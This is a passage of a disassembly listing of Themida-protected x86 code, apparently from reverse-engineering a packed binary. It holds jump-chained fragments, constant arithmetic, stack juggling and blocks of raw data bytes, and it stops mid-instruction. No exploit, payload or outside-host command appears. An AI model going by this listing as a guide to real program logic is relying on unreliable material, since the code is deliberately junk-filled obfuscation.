		dd 0A06949BBh, 56DEE911h, 0BD55FFFFh, 5BCC02ABh, 56F3ED81h
		dd 5BE90955h, 2CFFFFD2h, 4BE568C5h, 97E90000h
		db 69h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55CE6F:				; CODE XREF: Themida_:00557B6Bj
		push	ebp
		mov	ebp, esp
		jmp	loc_564567
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FF52F5E9h
		db 0FFh
byte_55CE7D	db 68h,	47h, 39h	; DATA XREF: Themida_:0054FEBCo
		dd 0CE90005h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55CE87:				; CODE XREF: Themida_:00554121j
		xor	eax, 2E04510Eh
		jmp	loc_5610D3
; ---------------------------------------------------------------------------
		db 89h,	0F8h, 5Fh
		dd 0FF61B4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55CE99:				; CODE XREF: Themida_:00553DDBj
		add	eax, 1
		and	eax, 6A257B67h
		push	edi
		mov	edi, 4F703442h
		xor	eax, edi
		jmp	loc_5609B5
; ---------------------------------------------------------------------------
aSrXsI		db 'SR²•é)i',0
		db 0
; ---------------------------------------------------------------------------

loc_55CEB9:				; CODE XREF: Themida_:00553E29j
		mov	[esp], ebx
		push	0EEE5DA7h
		pop	ebx
		push	eax
		sub	esp, 4
		mov	[esp], edx
		push	39741CFCh
		jmp	loc_551104
; ---------------------------------------------------------------------------

loc_55CED6:				; CODE XREF: Themida_:00553F75j
		push	edi
		push	117Ah
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_564514
; ---------------------------------------------------------------------------
byte_55CEEB	db 0ACh			; DATA XREF: Themida_:0054FFC0o
		dd 0FFFF72E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55CEF1:				; CODE XREF: Themida_:0055E078j
		cmp	eax, edx
		jz	loc_55686C
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_556BCB
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 65280158h, 0FF4DA9E9h, 82E95EFFh
		db 34h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CF17:				; CODE XREF: Themida_:00550D95j
		dec	ebp
		add	ebp, 710785h
		sub	ebx, ebp
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		sub	ebx, eax
		sub	esp, 4
		jmp	loc_55B361
; ---------------------------------------------------------------------------
		dd 141468h, 2122E900h, 52530000h, 8647B0BAh, 0A5BFBB70h
		dd 0D3297865h, 0CCC3815Ah, 95AEE01h, 7DE5E9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CF5A:				; CODE XREF: Themida_:00564F6Fj
		push	esi
		jmp	loc_56286C
; ---------------------------------------------------------------------------

loc_55CF60:				; CODE XREF: Themida_:00562217j
		add	ecx, 0AE863141h
		add	ebx, ecx
		pop	ecx
		mov	esi, ebx
		jmp	loc_550D9A
; ---------------------------------------------------------------------------
		dd 0F580B1B5h, 0A411E9AAh, 815DFFFFh, 5FDC70C1h, 59CF0184h
		dd 0FF875FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55CF89:				; CODE XREF: Themida_:005577A7j
		mov	ebx, 10EE7E63h
		mov	edi, ebx
		jmp	loc_55F94E
; ---------------------------------------------------------------------------
		db 58h,	81h, 0C4h
		dd 4, 26606851h, 24890000h, 1FD3E924h, 0E9500000h, 0FFFF357Eh
		dd 4EC81h, 1C890000h, 0B4BA5224h, 507CB52Bh, 0FF46BAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55CFC5:				; CODE XREF: Themida_:00565508j
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_551C9C
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4C38300h, 0E9241C87h, 701Dh, 33CABA52h, 0C3E93502h
		dd 5F000048h, 4EC8353h,	0E9242C89h, 0FFFFC160h,	0B9240C89h
		dd 4, 0C8BCF01h, 4C48124h, 87000000h, 248B243Ch, 56C80F24h
		dd 7879E9h, 40500h, 0E5E90000h
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D02B:				; CODE XREF: Themida_:0055AF66j
		add	dword ptr [esp], 4
		pop	edx
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 55F07F42h
		shl	ebx, 2
		inc	ebx
		shl	ebx, 2
		add	ebx, 56584220h
		push	edi
		mov	edi, 5CDB4DFAh
		or	edi, 6ADC4643h
		xchg	eax, edi
		not	eax
		jmp	loc_564780
; ---------------------------------------------------------------------------
		dd 48B55150h, 243BB050h, 0C0FE2408h, 0B43405E8h, 40E5E9h
		dd 24043300h, 33240431h, 248B2404h, 67A7E924h, 87580000h
		dd 505C241Ch, 405E089h,	68000000h, 4D5Eh, 0FF8564E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55D0A5:				; CODE XREF: Themida_:0055D209j
		push	eax
		push	edx
		jmp	loc_552012
; ---------------------------------------------------------------------------
		dd 0F787FE29h, 6ACF815Eh, 81480678h, 0CFAD91EFh, 5FFE2902h
		dd 555EF129h, 0EB89CD89h, 0C281595Dh, 365F0176h, 0EA81DA01h
		dd 365F0176h, 0E9241C8Bh, 5BDCh, 0E924248Bh, 69ECh, 4C481h
		dd 0EFD10000h, 0B850DFF7h, 0D1A665F8h, 8958C729h, 0C9E95FF8h
		dd 8B000003h, 0C4832414h, 0A4EC8004h, 2E9BE9h, 243C8B00h
		dd 52E38953h, 479DB951h, 67BA3154h, 1CEABB8h, 0F1F7E9CAh
		dd 9D68FFFFh, 8900000Eh, 0BF572414h, 54E147F7h,	1465F781h
		dd 0F78166B5h, 17B741Dh, 0FF3729E9h, 0AED80FFh,	0C580E528h
		dd 0B1D4E90Ah, 0E951FFFFh, 2F9Dh
; ---------------------------------------------------------------------------

loc_55D15C:				; CODE XREF: Themida_:0055C597j
		push	7B122B1Eh
		pop	edi
		push	esi
		mov	esi, 3BE053EAh
		jmp	loc_564811
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
aWichao		db 'W‰çh o',0
		align 4
		dd offset byte_567EE9
		dd 4EC8300h, 0B9240C89h, 207F0D45h, 8159CB89h, 3928D2C3h
		dd 5BDF0903h, 0FF4539E9h, 0EA815FFFh, 4, 5C241487h, 0B8240489h
		dd 5A6311Fh, 8158C601h,	53292AF6h, 0E9F0293Ah, 0FFFF99B6h
; ---------------------------------------------------------------------------

loc_55D1BC:				; CODE XREF: Themida_:0055CDABj
		xor	esi, 5FB424Ah
		sub	esi, 64D63213h
		sub	ecx, esi
		jmp	loc_55244F
; ---------------------------------------------------------------------------
		db 50h
		dd 9D240DB8h, 1AD0BF77h, 0C7312B34h, 8324048Bh,	0EFC104C4h
		dd 0F0F78107h, 8122D416h, 0A85344C7h, 0EB82E914h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D1F6:				; CODE XREF: Themida_:00562F04j
		sub	ecx, ebp
		add	ecx, 4CD122E3h
		mov	ebp, [esp]
		jmp	loc_5651DA
; ---------------------------------------------------------------------------

loc_55D206:				; CODE XREF: Themida_:00557E67j
		mov	[esp], ecx
		jmp	loc_55D0A5
; ---------------------------------------------------------------------------
		dw 8D04h
		dd 0FF9206E9h, 0DAC181FFh, 0D1062C71h, 66E941E9h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55D223:				; CODE XREF: Themida_:00558CACj
		pop	esp
		sub	ebp, 24B871F2h
		sub	ebp, 75E96C45h
		jmp	loc_56317A
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 0DAh
		dd 461DC42Fh, 8106E6C1h, 6E816AC6h, 5EF189FAh, 56D9E9h
		dd 0BB535A00h, 8E50416h, 0FFA988E9h, 24248BFFh,	2AE2E9h
		dd 7EFC000h, 0FF66CEE9h, 0FAEF80FFh, 30AFF780h,	0C5FE5BFDh
		dd 4B2C68h, 24148900h, 0C68015B6h, 4E6C01Ah, 8003EEC0h
		dd 0CE8033F6h, 5F21E901h, 0D5F70000h, 0FFF5EBE9h, 2C481FFh
		dd 55000000h, 5E2EBD66h, 91C58166h, 31E9E960h
		db 2 dup(0FFh)
word_55D2AE	dw 34FFh		; DATA XREF: Themida_:0054FF00o
		dd 2434FF24h, 592434FFh, 0FF58EFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55D2BD:				; CODE XREF: Themida_:0056436Cj
		add	eax, edi
		jmp	loc_562E30
; ---------------------------------------------------------------------------
aBY1vs		db 'Ǻy1véÜ)',0
		db 0
; ---------------------------------------------------------------------------

loc_55D2CF:				; CODE XREF: Themida_:0055C19Ej
		xor	ebp, 0BC22F745h
		jmp	loc_551869
; ---------------------------------------------------------------------------

loc_55D2DA:				; CODE XREF: Themida_:0056481Fj
		add	ebx, 5A0629A1h
		push	edx
		push	esi
		push	66BC4C90h
		mov	esi, [esp]
		add	esp, 4
		add	esi, 3FE31BEAh
		not	esi
		sub	esi, 1C9B79BAh
		xor	esi, 3F700C36h
		jmp	loc_561C0E
; ---------------------------------------------------------------------------
		db 53h,	89h, 0E3h
		dd 4C381h, 0BD550000h, 4, 54FDEB81h, 0EB012668h, 54FDC381h
		dd 0EBE92668h
		db 0A9h, 2 dup(0FFh)
byte_55D32B	db 8Fh			; DATA XREF: Themida_:00550034o
		dd 64E94047h, 89FFFF2Dh, 53E92434h, 1FFFFE2h, 0C875FF9h
		dd 24248B24h, 9C242CD3h, 0FF765EE9h, 58C730FFh,	305BFC88h
		dd 4CF5E9E5h, 3C290000h, 1BE95F24h, 80000042h, 5166E6ECh
		dd 0C5803AB5h, 66EC008Fh, 58E22059h, 2803EA80h,	1F045AD0h
		dd 0B353F828h, 5E3C096h, 0E930F380h, 0FFFFBE30h, 24048F54h
		dd 4240481h, 8B000000h,	89512434h, 4C181E1h, 0E9000000h
		dd 513Ah, 8956E289h, 4C681E6h, 0E9000000h, 78DCh, 291FCD81h
		dd 0B95125D8h, 53B03704h, 47C4E981h, 0C1836034h, 56D1F7FFh
		dd 0FF9768E9h, 6DC281FFh, 5B7F6A54h, 4245401h, 2CB1E95Ah
		dd 814AFFFFh, 0E52BBEEAh, 0BFED816Dh, 0E904F13Bh, 0FFFF3682h
		dd 5F2414F7h, 0FF5A62E9h, 241C8BFFh, 4C481h, 51660000h
		dd 0FFA4CAE9h, 0FFEA83FFh, 740BE9h
		db 0
; ---------------------------------------------------------------------------

loc_55D419:				; CODE XREF: Themida_:0055970Bj
		sub	esp, 4
		jmp	loc_558110
; ---------------------------------------------------------------------------
		db 40h,	52h, 0E9h
		dd 56F4h
; ---------------------------------------------------------------------------

loc_55D428:				; CODE XREF: Themida_:0055E0DCj
		mov	edx, ebp
		pop	ebp
		add	edx, ebp
		pop	ebp
		and	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_557B15
; ---------------------------------------------------------------------------
		db 5Dh
		dd 5B5EF089h, 3753C581h, 0C5815571h, 1A016B01h,	0ED81C501h
		dd 1A016B01h, 3753ED81h, 83585571h, 2C8704C5h, 24248B24h
		dd 4C581h, 0BA520000h, 2, 0E95AD501h, 0FFFFC86Ah, 0F00B951h
		dd 0E9814904h, 3E134318h, 1827F181h, 0C1813110h, 0E38B80BAh
		dd 8149D9F7h, 32D15AF1h, 8BC8019Fh, 0C481240Ch,	4, 1C5AE9h
		dd 0CE95800h, 0B6FFFF65h, 66F52012h, 8124148Bh,	2C4h, 0E9535200h
		dd 0FFFF485Dh
; ---------------------------------------------------------------------------

loc_55D4C4:				; CODE XREF: Themida_:005514B0j
		shl	ebp, 5
		jmp	loc_55FAC1
; ---------------------------------------------------------------------------
		dd 2349E981h, 0C181214Bh, 246C6B2Fh, 0E981C101h, 246C6B2Fh
		dd 2349C181h, 34FF214Bh, 89515824h, 4C181E1h, 81000000h
		dd 4C1h, 240C8700h, 0B125E95Ch,	148BFFFFh, 4C48124h, 4000000h
		dd 51D8281Ch, 89E912B5h, 5200001Bh, 0E6809EB6h,	1C6805Ah
		dd 0F680C6FEh, 5AF58821h, 1C8BFD28h, 4C48124h, 80000000h
		dd 0CD8037E5h, 57F5802Ah, 0E908E5C0h, 31C2h
; ---------------------------------------------------------------------------

loc_55D544:				; CODE XREF: Themida_:0055E7A1j
		push	edx
		jmp	loc_55DC28
; ---------------------------------------------------------------------------

loc_55D54A:				; CODE XREF: Themida_:005539E0j
		push	5986h
		mov	[esp], ecx
		jmp	loc_5531C7
; ---------------------------------------------------------------------------
		db 81h
		dd 0CF3306E3h, 342EE960h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55D562:				; CODE XREF: Themida_:00551DCBj
		pop	eax
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		shr	ecx, 2
		push	47EDh
		mov	[esp], esi
		push	ebx
		jmp	loc_55A3B9
; ---------------------------------------------------------------------------
		dd 8B240C33h, 81E92424h, 45FFFFE5h, 3DF4ED81h, 0E929D00Ch
		dd 5D2434FFh, 5B04C483h, 286AE9h, 241C8700h, 241C895Ch
		dd 52BCB551h, 8851EA88h, 74ABE9D5h, 0F580FFFFh,	80DDF65Ah
		dd 0E80088C5h, 6CB25259h, 0C003E2C0h, 0EAC006EAh, 0F1C28004h
		dd 2DB068h, 240C8900h, 506601B1h, 0C280F7B4h, 80E2282Ch
		dd 58662CEAh, 4D35E9h, 0C895C00h, 4A456824h, 7DE96D72h
		db 63h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D5FB:				; CODE XREF: Themida_:00557DFBj
		add	eax, 0F4434C2h
		pop	esi
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_5535C9
; ---------------------------------------------------------------------------

loc_55D610:				; CODE XREF: Themida_:0055C32Bj
		push	49C44EEEh
		pop	eax
		xor	eax, 49C44EEAh
		jmp	loc_560466
; ---------------------------------------------------------------------------
		dd 0F00C781h, 0D7F70416h, 0AB4AF781h, 0FA319E57h, 0FF2DC7E9h
		dd 24248BFFh, 4EC8156h,	54000000h, 8124048Fh, 42404h, 815E0000h
		dd 4C6h, 40486800h, 2C890000h, 9D23E924h, 6852FFFFh, 27A6D70h
		dd 6CE9425Ah, 59000056h, 0FFFAB9E9h
		db 0FFh
byte_55D671	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0054FFC4o
		dd 3254E9h, 3E95300h, 2900006Dh, 0EDEBE9C2h, 0C780FFFFh
		dd 0CCE78006h, 166E9h
		db 0
; ---------------------------------------------------------------------------

loc_55D691:				; CODE XREF: Themida_:00556635j
		push	edx
		push	6C057814h
		pop	edx
		xor	edx, 0DC6228Dh
		sub	edx, 61C35A95h
		mov	ecx, edx
		pop	edx
		jmp	loc_55FD6A
; ---------------------------------------------------------------------------

loc_55D6AC:				; CODE XREF: Themida_:0055E7EFj
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_55C7D4
; ---------------------------------------------------------------------------

loc_55D6BB:				; CODE XREF: Themida_:0055E9E0j
		mov	ebx, [esp]
		add	esp, 4
		push	0F99h
		mov	[esp], edi
		jmp	loc_5631A9
; ---------------------------------------------------------------------------
aQsO		db 'Qé}o',0
		db 0
; ---------------------------------------------------------------------------

loc_55D6D7:				; CODE XREF: Themida_:00557485j
		push	2E33h
		mov	[esp], ebp
		push	eax
		mov	eax, 592E4080h
		dec	eax
		shl	eax, 7
		jmp	loc_5549FD
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 4C681h, 0EE830000h, 24348704h, 0FFE453E9h, 805866FFh
		dd 0EB0008C3h, 5908EB80h, 8047B450h, 0C480BCECh, 0D6E480E1h
		dd 280AF480h, 0E838E9E3h, 0EC83FFFFh, 24348904h, 0B951E689h
		dd 2BD60BA7h, 0BA3E981h, 0CE012BD6h, 4B85059h, 1000000h
		dd 0D7E958C6h
		db 0B2h, 2 dup(0FFh)
byte_55D747	db 0ADh			; DATA XREF: Themida_:0054FEA4o
		dd 67E9D831h, 9FFFF36h,	0BD48E9C2h, 0F088FFFFh,	0FFBDC2E9h
		dd 85C181FFh, 8B550675h, 0C4832414h, 4EC8304h, 0BF243C89h
		dd 2, 0FFFBC2E9h, 5BDD28FFh, 0E954CD80h, 0FFFF3DCFh, 4BA52h
		dd 0C7810000h, 26BC3FBCh, 0EF81D701h, 26BC3FBCh, 4C7835Ah
		dd 0E9243C87h, 483Fh, 4BBA5259h, 4A6D4413h, 0C281D2F7h
		dd 0B007290Ah, 25CBC181h, 0D12930F1h, 25CBE981h, 5F5A30F1h
		dd 0C5E9C821h, 8B000026h, 0C4832414h, 0C7A50504h, 0ED818FBBh
		dd 43BF7E86h, 85E9C529h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D7E3:				; CODE XREF: Themida_:0055CDC4j
		push	ebp
		push	208A1467h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55153B
; ---------------------------------------------------------------------------
		db 80h
		dd 0C780A9E7h, 0FDB151B2h, 0FF5F9AE9h, 545158FFh, 4C18159h
		dd 81000000h, 4C1h, 74B8E900h
		db 2 dup(0FFh)
word_55D81A	dw 8B66h		; DATA XREF: Themida_:0054FE00o
		dd 0EC81240Ch, 4, 89240C89h, 7DE953E1h
		db 2Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D82F:				; CODE XREF: Themida_:00563580j
		pop	edi
		add	ebx, edx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 14265263h
		dec	edx
		shl	edx, 8
		jmp	loc_558E3A
; ---------------------------------------------------------------------------

loc_55D846:				; CODE XREF: Themida_:00553C23j
		sub	ecx, 35D169DDh
		jmp	loc_560DE0
; ---------------------------------------------------------------------------
		db 5Eh,	5Ah, 0E9h
		dd 0FFFFCCC8h, 68E38953h, 0D8Eh, 0B9240C89h, 3E4844CAh
		dd 0F181D9F7h, 706F4EE6h, 0F5D4F181h, 0CB01B1D8h, 42BBE9h
		dd 44C78100h, 12B7B2Ch,	243C8BFBh, 5704C483h, 0CE62D3BFh
		dd 0AC1FE939h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D896:				; CODE XREF: Themida_:00554DA0j
		add	edx, esi
		add	edx, 32541772h
		pop	esi
		add	edx, eax
		sub	edx, 43A536FCh
		sub	esp, 4
		mov	[esp], ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55131C
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0EF010000h, 4C7815Dh, 0E9000000h, 0FFFF864Ah, 0C7815F5Fh
		dd 4, 0FF464DE9h, 6E1C1FFh, 2B87E941h, 0EC81FFFFh, 4, 0E9243489h
		dd 0FFFFBF3Bh, 0BD55E089h, 4, 835DE801h, 48704E8h, 7BADE924h
		dd 0C729FFFFh, 582434FFh, 8104C483h, 0AE1260EEh, 0E9FE0175h
		dd 0FFFFA68Bh
; ---------------------------------------------------------------------------

loc_55D924:				; CODE XREF: Themida_:0055E4C3j
		mov	[esp], ebx
		push	1C3Eh
		mov	[esp], ebp
		jmp	loc_5525FF
; ---------------------------------------------------------------------------

loc_55D934:				; CODE XREF: Themida_:0055C725j
		mov	ebp, 4
		add	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_553E85
; ---------------------------------------------------------------------------

loc_55D94A:				; CODE XREF: Themida_:00551B7Bj
		push	5896h
		mov	[esp], eax
		mov	ah, 0D9h
		jmp	loc_564C4A
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 1C8DBE56h, 0BA52619Dh, 521F52E5h, 15AD301h, 3D3BE9F3h
		dd 0F831FFFFh, 0E956C731h, 6AFEh, 348BF589h, 0E6895624h
		dd 4C681h, 0C6810000h, 4, 5C243487h, 5ACBC381h,	0EB015693h
		dd 5ACBEB81h, 815D5693h, 0E5282DC1h, 55D9016Bh,	197EBB53h
		dd 5D536A56h, 0AAB8505Bh, 5138B63h, 300707F6h, 0DB25D8F7h
		dd 53315925h, 0BBh, 89C32900h, 41055BD8h, 29304904h, 6858C5h
		dd 29000000h, 2C8B242Ch, 4C48324h, 2FDFC581h, 0E5C10E15h
		dd 0FB95E904h, 0FD89FFFFh, 82E9E889h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D9FF:				; CODE XREF: Themida_:0055E2FBj
		shr	edi, 2
		jmp	loc_55746A
; ---------------------------------------------------------------------------

loc_55DA07:				; CODE XREF: Themida_:00555CB6j
		push	esp
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	ebx
		jmp	loc_55AC43
; ---------------------------------------------------------------------------
		dd 4C481h, 89560000h, 191568E6h, 0E9E90000h, 0B8FFFF50h
		dd 1, 24E9C529h
		db 56h,	2 dup(0FFh)
byte_55DA33	db 0FFh			; DATA XREF: Themida_:0054FFD8o
		dd 34FF3877h, 240C8B24h, 51E28952h, 4B9h, 59CA0100h, 4C281h
		dd 14870000h, 8EE95C24h, 81FFFFCBh, 73B12C5h, 0C6815803h
		dd 69E93249h, 0FF3403E9h, 0E48635FFh, 0C7814E0Bh, 7AD306BBh
		dd 0BB53C701h, 75BE30ACh, 3617F381h, 0DF290F6Dh, 3C87585Bh
		dd 24248B24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_557AD5
; ---------------------------------------------------------------------------
		dd 592434FFh, 6D8968h, 24148900h, 24148B54h, 0E904C483h
		dd 78C5h, 0E9515BB0h, 0FFFF4E82h, 7023E959h, 0DAF7FFFFh
		dd 0EAC1D2F7h, 45F28107h, 0E94BBFEDh, 0FFFFDC52h, 582434FFh
		dd 0FF6D54E9h, 0FCE381FFh, 81412F1Dh, 0B42C15EBh, 0DBF74309h
		dd 0FF7DCBE9h, 0ACEF80FFh, 0D8E95704h, 0B4000035h, 3088B51Bh
		dd 81E958E5h
		db 3Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55DAFF:				; CODE XREF: Themida_:00562706j
		add	esp, 4
		jmp	loc_558977
; ---------------------------------------------------------------------------
		dw 60B5h
		dd 19EBE9h, 4EF8300h, 4B3BE9h
		db 0
; ---------------------------------------------------------------------------

loc_55DB19:				; CODE XREF: Themida_:00563408j
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_562946
; ---------------------------------------------------------------------------

loc_55DB30:				; CODE XREF: Themida_:00550CD6j
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_560752
; ---------------------------------------------------------------------------

loc_55DB3A:				; CODE XREF: Themida_:0055CD1Cj
		pop	esi
		shl	ecx, 5
		not	ecx
		xor	ecx, 7E7873C5h
		add	ecx, 21322D5Eh
		push	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1573053Dh
		mov	eax, edi
		pop	edi
		sub	ecx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1BB620CAh
		push	ebx
		mov	ebx, 2D8C7771h
		inc	ebx
		dec	ebx
		sub	ebx, 0E9106FACh
		and	edi, ebx
		pop	ebx
		dec	edi
		xchg	ebx, edi
		jmp	loc_562E9E
; ---------------------------------------------------------------------------
aPh5		db 'Ph¹5',0
		dw 8900h
		dd 4832424h, 0E9580424h, 1627h,	1F98B850h, 0C501BCECh
		dd 0E9EB8958h, 577Dh
; ---------------------------------------------------------------------------

loc_55DBA8:				; CODE XREF: Themida_:00556E87j
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	edi
		mov	edi, 78712A77h
		sub	[esp+4], edi
		jmp	loc_554370
; ---------------------------------------------------------------------------

loc_55DBC3:				; CODE XREF: Themida_:005548B4j
		mov	eax, ebp
		pop	ebp
		jmp	loc_552061
; ---------------------------------------------------------------------------
		db 50h
		dd 0ED56C9B8h, 16E94042h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55DBD7:				; CODE XREF: Themida_:00561084j
		push	esi
		mov	esi, 7BA415FCh
		jmp	loc_550D92
; ---------------------------------------------------------------------------
		dw 3C33h
		dd 0CA815C24h, 5091270Ah, 7893EA81h, 0EA815E2Ah, 317F04BEh
		dd 25C368h, 6962E900h, 0EB83FFFFh, 241C8704h, 0C53EE95Ch
		dd 0CD80FFFFh, 4E5C0D0h, 806CED80h, 0B4501DE5h,	58E53018h
		dd 0E959EA88h, 253Fh
; ---------------------------------------------------------------------------

loc_55DC28:				; CODE XREF: Themida_:0055D545j
		mov	edx, 4
		jmp	loc_5528DB
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 0FF24F5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55DC39:				; CODE XREF: Themida_:00552AE2j
		add	esi, eax
		pop	eax
		jmp	loc_55EBB1
; ---------------------------------------------------------------------------
		db 33h,	1Ch, 24h
		dd 33241C31h, 57E9241Ch
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55DC4F:				; CODE XREF: Themida_:0055FEB9j
		mov	esi, [esp]
		push	ebp
		push	esp
		pop	ebp
		push	edx
		mov	edx, 2D0938CEh
		or	edx, 5F0E747Ch
		push	edx
		dec	dword ptr [esp]
		pop	edx
		dec	edx
		shl	edx, 8
		not	edx
		jmp	loc_55B6FA
; ---------------------------------------------------------------------------
		db 30h,	0F9h, 0E9h
		dd 0FFFFDAADh, 50E9D9F7h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55DC7F:				; CODE XREF: Themida_:0055EC7Aj
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		push	esi
		mov	esi, esp
		jmp	loc_555B14
; ---------------------------------------------------------------------------
		db 68h,	78h, 1Dh
		dd 34890000h, 0EDBCE924h, 34FFFFFFh, 0C4815824h, 4, 0E9241C87h
		dd 0FFFFA9B1h
; ---------------------------------------------------------------------------

loc_55DCAC:				; CODE XREF: Themida_:00553F1Dj
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	eax
		push	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	eax, 4
		push	edi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55B171
; ---------------------------------------------------------------------------
		dd 4BFCBD55h, 0EF892E32h, 5FF9295Dh, 5D2434FFh,	0E904C483h
		dd 0FFFF60F8h
; ---------------------------------------------------------------------------

loc_55DCE8:				; CODE XREF: Themida_:0055945Aj
		mov	ecx, 9B252C5h
		jmp	loc_55489C
; ---------------------------------------------------------------------------

loc_55DCF2:				; CODE XREF: Themida_:00556014j
		not	edx
		xchg	edx, [esp]
		mov	ebx, [esp]
		push	6B0Ah
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	edx
		jmp	loc_55CAE1
; ---------------------------------------------------------------------------
aFy		db '(ÈfY',0
		db 0F8h
		dd 215D68h, 0EF34E900h,	0BE56FFFFh, 5BF22CFAh, 0FFE038E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55DD25:				; CODE XREF: Themida_:00560E96j
		mov	ebp, [esp]
		add	esp, 4
		pop	edi
		add	edi, 0C56FF8h
		pop	eax
		sub	ebx, 4ECC4EA3h
		sub	ebx, 2C181BF3h
		sub	ebx, edi
		add	ebx, 2C181BF3h
		add	ebx, 4ECC4EA3h
		pop	edi
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_55977B
; ---------------------------------------------------------------------------

loc_55DD5C:				; CODE XREF: Themida_:00564AFAj
		pop	ebp
		pop	ebx
		push	4A67h
		mov	[esp], ebx
		jmp	loc_55B89F
; ---------------------------------------------------------------------------
		db 81h
		dd 105EF5C6h, 4C47E93Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55DD76:				; CODE XREF: Themida_:005603F4j
		mov	edx, ebx
		pop	ebx
		pop	ebp
		sub	ecx, edx
		pop	edx
		jmp	loc_5594E4
; ---------------------------------------------------------------------------

loc_55DD82:				; CODE XREF: Themida_:00564E18j
		push	esi
		push	eax
		jmp	loc_5633B6
; ---------------------------------------------------------------------------

loc_55DD89:				; CODE XREF: Themida_:0055F08Dj
		add	ebx, 21221100h
		shl	ebx, 3
		add	ebx, 66C31690h
		jmp	loc_557180
; ---------------------------------------------------------------------------
		db 80h,	0EAh, 0FCh
aFpsyt		db 'fPéyt',0
		db 0
; ---------------------------------------------------------------------------

loc_55DDA7:				; CODE XREF: Themida_:00558590j
		pop	eax
		jmp	loc_564CEB
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 4C481h, 5E90000h, 1FFFFBCh, 0B8EF81CFh, 8B45F87Dh, 0C481240Ch
		dd 4, 6805E7C1h, 0B6Ah,	0B9240C89h, 155D1B21h, 5A65E941h
		dd 48F0000h, 24248B24h,	9C2424D3h, 0FF22A6E9h, 5E7C1FFh
		dd 2161BE56h, 0F7014D16h, 0FF99BDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55DE01:				; CODE XREF: Themida_:00552EDCj
		mov	esp, [esp]
		jmp	loc_55FE29
; ---------------------------------------------------------------------------

loc_55DE09:				; CODE XREF: Themida_:00565432j
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_559320
; ---------------------------------------------------------------------------
aShe		db 'Sh…~',0
		align 10h
		dd 68240C89h, 283Ah, 52241C89h,	70256855h, 0F75D7859h
		dd 22C581DDh, 89949378h, 5B525DEAh, 774AE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55DE46:				; CODE XREF: Themida_:00558E2Cj
		sub	ebx, 671F54E8h
